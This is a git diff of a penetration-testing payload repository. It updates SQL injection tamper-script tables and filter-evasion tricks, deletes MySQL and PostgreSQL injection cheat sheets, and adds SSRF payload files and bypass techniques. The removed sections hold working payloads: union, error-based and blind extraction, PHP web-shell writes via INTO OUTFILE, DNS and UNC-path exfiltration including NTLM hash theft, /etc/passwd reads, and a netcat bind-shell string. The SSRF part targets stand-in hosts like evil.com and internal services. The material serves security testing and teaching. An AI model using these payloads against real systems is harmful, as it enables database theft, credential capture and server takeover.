| +|charunicodeencode.py | Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) | +|charunicodeescape.py | Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) | |commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'| |commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'| +|commentbeforeparentheses.py | Prepends (inline) comment before parentheses (e.g. ( -> /**/() | |concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'| |charencode.py | Url-encodes all characters in a given payload (not processing already encoded) | |charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) | @@ -199,16 +228,24 @@ tamper=name_of_the_tamper |escapequotes.py | Slash escape quotes (' and ") | |greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart | |halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | +|htmlencode.py | HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ') | +|ifnull2casewhenisnull.py | Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart| |ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'| +|informationschemacomment.py | Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier | +|least.py | Replaces greater than operator (‘>’) with ‘LEAST’ counterpart | +|lowercase.py | Replaces each keyword character with lower case value (e.g. SELECT -> select) | |modsecurityversioned.py | Embraces complete query with versioned comment | |modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | |multiplespaces.py | Adds multiple spaces around SQL keywords | |nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters| -|percentage.py | Adds a percentage sign ('%') infront of each character | |overlongutf8.py | Converts all characters in a given payload (not processing already encoded) | +|overlongutf8more.py | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) | +|percentage.py | Adds a percentage sign ('%') infront of each character | +|plus2concat.py | Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart | +|plus2fnconcat.py | Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart | |randomcase.py | Replaces each keyword character with random case value | |randomcomments.py | Add random comments to SQL keywords| -|securesphere.py | Appends special crafted string| +|securesphere.py | Appends special crafted string | |sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs | |space2comment.py | Replaces space character (' ') with comments | |space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') | @@ -273,6 +310,7 @@ or 1=1-- or 1=1# or 1=1/* admin' -- +admin' -- - admin' # admin'/* admin' or '2' LIKE '1 @@ -402,6 +440,15 @@ SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d ``` +No Equal - bypass using LIKE/NOT IN/IN/BETWEEN + +```sql +?id=1 and substring(version(),1,1)like(5) +?id=1 and substring(version(),1,1)not in(4,3) +?id=1 and substring(version(),1,1)in(4,3) +?id=1 and substring(version(),1,1) between 3 and 4 +``` + Blacklist using keywords - bypass using uppercase/lowercase ```sql @@ -415,7 +462,7 @@ Blacklist using keywords case insensitive - bypass using an equivalent operator ```sql AND -> && OR -> || -= -> LIKE,REGEXP, not < and not > += -> LIKE,REGEXP, BETWEEN, not < and not > > X -> not between 0 and X WHERE -> HAVING ``` @@ -472,25 +519,25 @@ mysql> mysql> select version(); * [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/) * [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/) * MySQL: - * [PentestMonkey's mySQL injection cheat sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) - * [Reiners mySQL injection Filter Evasion Cheatsheet] (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/) + * [PentestMonkey's mySQL injection cheat sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) + * [Reiners mySQL injection Filter Evasion Cheatsheet](https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/) * [Alternative for Information_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/) * [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection) * MSSQL: - * [EvilSQL's Error/Union/Blind MSSQL Cheatsheet] (http://evilsql.com/main/page2.php) - * [PentestMonkey's MSSQL SQLi injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet) + * [EvilSQL's Error/Union/Blind MSSQL Cheatsheet](http://evilsql.com/main/page2.php) + * [PentestMonkey's MSSQL SQLi injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet) * ORACLE: - * [PentestMonkey's Oracle SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet) + * [PentestMonkey's Oracle SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet) * POSTGRESQL: - * [PentestMonkey's Postgres SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet) + * [PentestMonkey's Postgres SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet) * Others * [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/) - * [Access SQLi Cheatsheet] (http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) - * [PentestMonkey's Ingres SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet) - * [Pentestmonkey's DB2 SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet) - * [Pentestmonkey's Informix SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet) - * [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet) - * [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/) + * [Access SQLi Cheatsheet](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) + * [PentestMonkey's Ingres SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet) + * [Pentestmonkey's DB2 SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet) + * [Pentestmonkey's Informix SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet) + * [SQLite3 Injection Cheat sheet](https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet) + * [Ruby on Rails (Active Record) SQL Injection Guide](http://rails-sqli.org/) * [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html) * [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/) * [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/) diff --git a/SQL injection/SQLite Injection.md b/SQL Injection/SQLite Injection.md similarity index 73% rename from SQL injection/SQLite Injection.md rename to SQL Injection/SQLite Injection.md index 0631c0bdbd..428e806a0a 100644 --- a/SQL injection/SQLite Injection.md +++ b/SQL Injection/SQLite Injection.md @@ -1,5 +1,18 @@ # SQLite Injection +## Summary + +* [SQLite comments](#sqlite-comments) +* [SQLite version](#sqlite-version) +* [Integer/String based - Extract table name](#integerstring-based---extract-table-name) +* [Integer/String based - Extract column name](#integerstring-based---extract-column-name) +* [Boolean - Count number of tables](#boolean---count-number-of-tables) +* [Boolean - Enumerating table name](#boolean---enumerating-table-name) +* [Boolean - Extract info](#boolean---extract-info) +* [Time based](#time-based) +* [Remote Command Execution using SQLite command - Attach Database](#remote-command-execution-using-sqlite-command---attach-database) +* [Remote Command Execution using SQLite command - Load_extension](#remote-command-execution-using-sqlite-command---load_extension) +* [References](#references) ## SQLite comments ```sql diff --git a/SQL injection/MySQL Injection.md b/SQL injection/MySQL Injection.md deleted file mode 100644 index 497483944b..0000000000 --- a/SQL injection/MySQL Injection.md +++ /dev/null @@ -1,164 +0,0 @@ -# MYSQL Injection - -## MYSQL - -```sql -# MYSQL Comment -/* MYSQL Comment */ -/*! MYSQL Special SQL */ -/*!32302 10*/ Comment for MYSQL version 3.23.02 -``` - -## Detect columns number - -Using a simple ORDER - -```sql -order by 1 -order by 2 -order by 3 -... -order by XXX -``` - -## MYSQL Union Based - -```sql -UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata -UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... -UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=... -UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... -``` - -## MYSQL Error Based - Basic - -```sql -(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) -'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+' -``` - -## MYSQL Error Based - UpdateXML function - -```sql -AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)- -AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)-- -AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)-- -AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)-- -AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)-- -``` - -Shorter to read: - -```sql -' and updatexml(null,concat(0x0a,version()),null)-- - -' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- - -``` - -## MYSQL Error Based - Extractvalue function - -```sql -AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))-- -AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))-- -AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))-- -AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))-- -AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))-- -``` - -## MYSQL Blind using a conditional statement - -TRUE: `if @@version starts with a 5`: - -```sql -2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 -Response: -HTTP/1.1 500 Internal Server Error -``` - -False: `if @@version starts with a 4`: - -```sql -2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2 -Response: -HTTP/1.1 200 OK -``` - -## MYSQL Blind with MAKE_SET - -```sql -AND MAKE_SET(YOLO<(SELECT(length(version()))),1) -AND MAKE_SET(YOLO=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)# -(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)# -``` - -## MYSQL DROP SHELL - -```sql -SELECT "" into outfile "C:\\xampp\\htdocs\\backdoor.php" -SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY ' --1 UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE 'C:/Program Files/EasyPHP-12.1/www/shell.php' -[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- - -[...] union all select 1,2,3,4,"",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php' -``` - -## MYSQL Out of band - -```powershell -select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt'; -select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt -``` - -DNS exfiltration - -```sql -select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); -select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)) -``` - -UNC Path - NTLM hash stealing - -```sql -select load_file('\\\\error\\abc'); -select load_file(0x5c5c5c5c6572726f725c5c616263); -select 'osanda' into dumpfile '\\\\error\\abc'; -select 'osanda' into outfile '\\\\error\\abc'; -load data infile '\\\\error\\abc' into table database.table_name; -``` - - -## References - -- [MySQL Out of Band Hacking - @OsandaMalith](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf) \ No newline at end of file diff --git a/SQL injection/PostgreSQL Injection.md b/SQL injection/PostgreSQL Injection.md deleted file mode 100644 index c92b4ae273..0000000000 --- a/SQL injection/PostgreSQL Injection.md +++ /dev/null @@ -1,49 +0,0 @@ -# POSTGRESQL - -## PostgreSQL Comments - -```sql --- -/**/ -``` - -## PostgreSQL Error Based - Basic - -```sql -,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC) -,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- -,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- -,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC) -``` - -## PostgreSQL Time Based - -```sql -AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) -AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) -``` - -## PostgreSQL File Read - -```sql -select pg_read_file('PG_VERSION', 0, 200); -``` - -```sql -CREATE TABLE temp(t TEXT); -COPY temp FROM '/etc/passwd'; -SELECT * FROM temp limit 1 offset 0; -``` - -## PostgreSQL File Write - -```sql -CREATE TABLE pentestlab (t TEXT); -INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash'); -SELECT * FROM pentestlab; -COPY pentestlab(t) TO '/tmp/pentestlab'; -``` - -## References - -* [A Penetration Tester’s Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9) \ No newline at end of file diff --git a/SSRF injection/Files/ip.py b/Server Side Request Forgery/Files/ip.py similarity index 99% rename from SSRF injection/Files/ip.py rename to Server Side Request Forgery/Files/ip.py index f55959f102..52be1586a6 100644 --- a/SSRF injection/Files/ip.py +++ b/Server Side Request Forgery/Files/ip.py @@ -2,6 +2,10 @@ # coding=utf-8 # https://raw.githubusercontent.com/cujanovic/SSRF-Testing/master/ip.py from __future__ import print_function +from builtins import oct +from builtins import str +from builtins import hex +from builtins import range from random import * from io import open import datetime diff --git a/Server Side Request Forgery/Files/ssrf_ffmpeg.avi b/Server Side Request Forgery/Files/ssrf_ffmpeg.avi new file mode 100644 index 0000000000..a9f2708d3a --- /dev/null +++ b/Server Side Request Forgery/Files/ssrf_ffmpeg.avi @@ -0,0 +1,5 @@ +#EXTM3U +#EXT-X-MEDIA-SEQUENCE:0 +#EXTINF:1.0 +http://ssrfevil.com +#EXT-X-ENDLIST \ No newline at end of file diff --git a/Server Side Request Forgery/Files/ssrf_iframe.svg b/Server Side Request Forgery/Files/ssrf_iframe.svg new file mode 100644 index 0000000000..2bb91d638f --- /dev/null +++ b/Server Side Request Forgery/Files/ssrf_iframe.svg @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/Server Side Request Forgery/Files/ssrf_svg_css_import.svg b/Server Side Request Forgery/Files/ssrf_svg_css_import.svg new file mode 100644 index 0000000000..8c1f4466ff --- /dev/null +++ b/Server Side Request Forgery/Files/ssrf_svg_css_import.svg @@ -0,0 +1,7 @@ + + + + \ No newline at end of file diff --git a/Server Side Request Forgery/Files/ssrf_svg_css_link.svg b/Server Side Request Forgery/Files/ssrf_svg_css_link.svg new file mode 100644 index 0000000000..e9f7d30526 --- /dev/null +++ b/Server Side Request Forgery/Files/ssrf_svg_css_link.svg @@ -0,0 +1,6 @@ + + + + \ No newline at end of file diff --git a/Server Side Request Forgery/Files/ssrf_svg_css_xmlstylesheet.svg b/Server Side Request Forgery/Files/ssrf_svg_css_xmlstylesheet.svg new file mode 100644 index 0000000000..a29199afb2 --- /dev/null +++ b/Server Side Request Forgery/Files/ssrf_svg_css_xmlstylesheet.svg @@ -0,0 +1,6 @@ + + + + \ No newline at end of file diff --git a/Server Side Request Forgery/Files/ssrf_svg_image.svg b/Server Side Request Forgery/Files/ssrf_svg_image.svg new file mode 100644 index 0000000000..9d3b717e55 --- /dev/null +++ b/Server Side Request Forgery/Files/ssrf_svg_image.svg @@ -0,0 +1,4 @@ + + + \ No newline at end of file diff --git a/Server Side Request Forgery/Files/ssrf_svg_use.svg b/Server Side Request Forgery/Files/ssrf_svg_use.svg new file mode 100644 index 0000000000..14040b2052 --- /dev/null +++ b/Server Side Request Forgery/Files/ssrf_svg_use.svg @@ -0,0 +1,4 @@ + + + \ No newline at end of file diff --git a/SSRF injection/Images/Parser & Curl < 7.54.png b/Server Side Request Forgery/Images/Parser & Curl < 7.54.png similarity index 100% rename from SSRF injection/Images/Parser & Curl < 7.54.png rename to Server Side Request Forgery/Images/Parser & Curl < 7.54.png diff --git a/SSRF injection/Images/SSRF_Parser.png b/Server Side Request Forgery/Images/SSRF_Parser.png similarity index 100% rename from SSRF injection/Images/SSRF_Parser.png rename to Server Side Request Forgery/Images/SSRF_Parser.png diff --git a/SSRF injection/Images/SSRF_stream.png b/Server Side Request Forgery/Images/SSRF_stream.png similarity index 100% rename from SSRF injection/Images/SSRF_stream.png rename to Server Side Request Forgery/Images/SSRF_stream.png diff --git a/SSRF injection/Images/WeakParser.jpg b/Server Side Request Forgery/Images/WeakParser.jpg similarity index 100% rename from SSRF injection/Images/WeakParser.jpg rename to Server Side Request Forgery/Images/WeakParser.jpg diff --git a/Server Side Request Forgery/Images/aws-cli.jpg b/Server Side Request Forgery/Images/aws-cli.jpg new file mode 100644 index 0000000000..e47bd088f9 Binary files /dev/null and b/Server Side Request Forgery/Images/aws-cli.jpg differ diff --git a/SSRF injection/README.md b/Server Side Request Forgery/README.md similarity index 64% rename from SSRF injection/README.md rename to Server Side Request Forgery/README.md index 2675ec1270..5b5973616d 100644 --- a/SSRF injection/README.md +++ b/Server Side Request Forgery/README.md @@ -1,17 +1,40 @@ # Server-Side Request Forgery -Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf. -![SSRF stream](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/SSRF%20injection/Images/SSRF_stream.png) +> Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf. ## Summary * [Tools](#tools) -* [Payloads with localhost](#exploit-with-localhost) +* [Payloads with localhost](#payloads-with-localhost) * [Bypassing filters](#bypassing-filters) -* [SSRF exploitation via URL Scheme](#ssrf-via-url-scheme) -* [SSRF to XSS](#ssrf-to-xss-by-d0rkerdevil--alyssaoherrera) + * [Bypass using HTTPS](#bypass-using-https) + * [Bypass localhost with [::]](#bypass-localhost-with-) + * [Bypass localhost with a domain redirection](#bypass-localhost-with-a-domain-redirection) + * [Bypass localhost with CIDR](#bypass-localhost-with-cidr) + * [Bypass using a decimal IP location](#bypass-using-a-decimal-ip-location) + * [Bypass using IPv6/IPv4 Address Embedding](#bypass-using-ipv6ipv4-address-embedding) + * [Bypass using malformed urls](#bypass-using-malformed-urls) + * [Bypass using rare address](#bypass-using-rare-address) + * [Bypass using bash variables](#bypass-using-bash-variables) + * [Bypass using tricks combination](#bypass-using-tricks-combination) + * [Bypass using enclosed alphanumerics](#bypass-using-enclosed-alphanumerics) + * [Bypass filter_var() php function](#bypass-filter_var-php-function) + * [Bypass against a weak parser](#bypass-against-a-weak-parser) +* [SSRF exploitation via URL Scheme](#ssrf-exploitation-via-url-scheme) + * [file://](#file) + * [http://](#http) + * [dict://](#dict) + * [sftp://](#sftp) + * [tftp://](#tftp) + * [ldap://](#ldap) + * [gopher://](#gopher) + * [netdoc://](#netdoc) +* [SSRF to XSS](#ssrf-to-xss) * [SSRF URL for Cloud Instances](#ssrf-url-for-cloud-instances) * [SSRF URL for AWS Bucket](#ssrf-url-for-aws-bucket) + * [SSRF URL for AWS ECS](#ssrf-url-for-aws-ecs) + * [SSRF URL for AWS Elastic Beanstalk](#ssrf-url-for-aws-elastic-beanstalk) + * [SSRF URL for AWS Lambda](#ssrf-url-for-aws-lambda) * [SSRF URL for Google Cloud](#ssrf-url-for-google-cloud) * [SSRF URL for Digital Ocean](#ssrf-url-for-digital-ocean) * [SSRF URL for Packetcloud](#ssrf-url-for-packetcloud) @@ -28,6 +51,8 @@ Server Side Request Forgery or SSRF is a vulnerability in which an attacker forc - [SSRFmap - https://github.com/swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap) - [Gopherus - https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) +- [See-SURF - https://github.com/In3tinct/See-SURF](https://github.com/In3tinct/See-SURF) +- [SSRF Sheriff - https://github.com/teknogeek/ssrf-sheriff](https://github.com/teknogeek/ssrf-sheriff) ## Payloads with localhost @@ -68,14 +93,14 @@ Using this vulnerability users can upload images from any image URL = trigger an ## Bypassing filters -Bypass using HTTPS +### Bypass using HTTPS ```powershell https://127.0.0.1/ https://localhost/ ``` -Bypass localhost with [::] +### Bypass localhost with [::] ```powershell http://[::]:80/ @@ -91,12 +116,14 @@ http://0000::1:22/ SSH http://0000::1:3128/ Squid ``` -Bypass localhost with a domain redirecting to locahost +### Bypass localhost with a domain redirection ```powershell +http://spoofed.burpcollaborator.net http://localtest.me http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost +http://bugbounty.dod.network redirect to 127.0.0.2 == localhost ``` The service nip.io is awesome for that, it will convert any ip address as a dns. @@ -105,16 +132,17 @@ The service nip.io is awesome for that, it will convert any ip address as a dns. NIP.IO maps ..nip.io to the corresponding , even 127.0.0.1.nip.io maps to 127.0.0.1 ``` -Bypass localhost with CIDR : 127.x.x.x +### Bypass localhost with CIDR + +It's a /8 ```powershell -it's a /8 http://127.127.127.127 http://127.0.1.3 http://127.0.0.0 ``` -Bypass using a decimal ip location +### Bypass using a decimal IP location ```powershell http://0177.0.0.1/ @@ -123,27 +151,41 @@ http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 ``` -Bypass using malformed urls +### Bypass using IPv6/IPv4 Address Embedding + +[IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm) + +```powershell +http://[0:0:0:0:0:ffff:127.0.0.1] +``` + +### Bypass using malformed urls ```powershell localhost:+11211aaa localhost:00011211aaaa ``` -Bypass using rare address +### Bypass using rare address + +You can short-hand IP addresses by dropping the zeros ```powershell http://0/ +http://127.1 +http://127.0.1 ``` -Bypass using bash variables (curl only) +### Bypass using bash variables + +(curl only) ```powershell curl -v "http://evil$google.com" $google = "" ``` -Bypass using tricks combination +### Bypass using tricks combination ```powershell http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ @@ -152,7 +194,9 @@ requests + browsers : 2.2.2.2 urllib : 3.3.3.3 ``` -Bypass using enclosed alphanumerics [@EdOverflow](https://twitter.com/EdOverflow) +### Bypass using enclosed alphanumerics + +[@EdOverflow](https://twitter.com/EdOverflow) ```powershell http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com @@ -161,13 +205,15 @@ List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` -Bypass filter_var() php function +### Bypass filter_var() php function ```powershell 0://evil.com:80;http://google.com:80/ ``` -Bypass against a weak parser - by Orange Tsai ([Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)) +### Bypass against a weak parser + +by Orange Tsai ([Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)) ```powershell http://127.1.1.1:80\@127.2.2.2:80/ @@ -176,12 +222,14 @@ http://127.1.1.1:80:\@@127.2.2.2:80/ http://127.1.1.1:80#\@127.2.2.2:80/ ``` -![https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/SSRF%20injection/Images/SSRF_Parser.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/SSRF%20injection/Images/WeakParser.jpg) +![https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_Parser.png?raw=true](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.jpg?raw=true) ## SSRF exploitation via URL Scheme -File : allows an attacker to fetch the content of a file on the server +### File + +Allows an attacker to fetch the content of a file on the server ```powershell file://path/to/file @@ -190,7 +238,9 @@ file://\/\/etc/passwd ssrf.php?url=file:///etc/passwd ``` -Http: allows an attacker to fetch any content from the web, it can also be used to scan ports. +### HTTP + +Allows an attacker to fetch any content from the web, it can also be used to scan ports. ```powershell ssrf.php?url=http://127.0.0.1:22 @@ -198,34 +248,44 @@ ssrf.php?url=http://127.0.0.1:80 ssrf.php?url=http://127.0.0.1:443 ``` +![SSRF stream](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_stream.png?raw=true) + The following URL scheme can be used to probe the network -Dict : the DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol: +### Dict + +The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol: ```powershell dict://;@:/d::: ssrf.php?url=dict://attacker:11111/ ``` -Sftp : a network protocol used for secure file transfer over secure shell +### SFTP + +A network protocol used for secure file transfer over secure shell ```powershell ssrf.php?url=sftp://evil.com:11111/ ``` -Tftp : Trivial File Transfer Protocol, works over UDP +### TFTP + +Trivial File Transfer Protocol, works over UDP ```powershell ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET ``` -Ldap : Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service. +### LDAP + +Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service. ```powershell 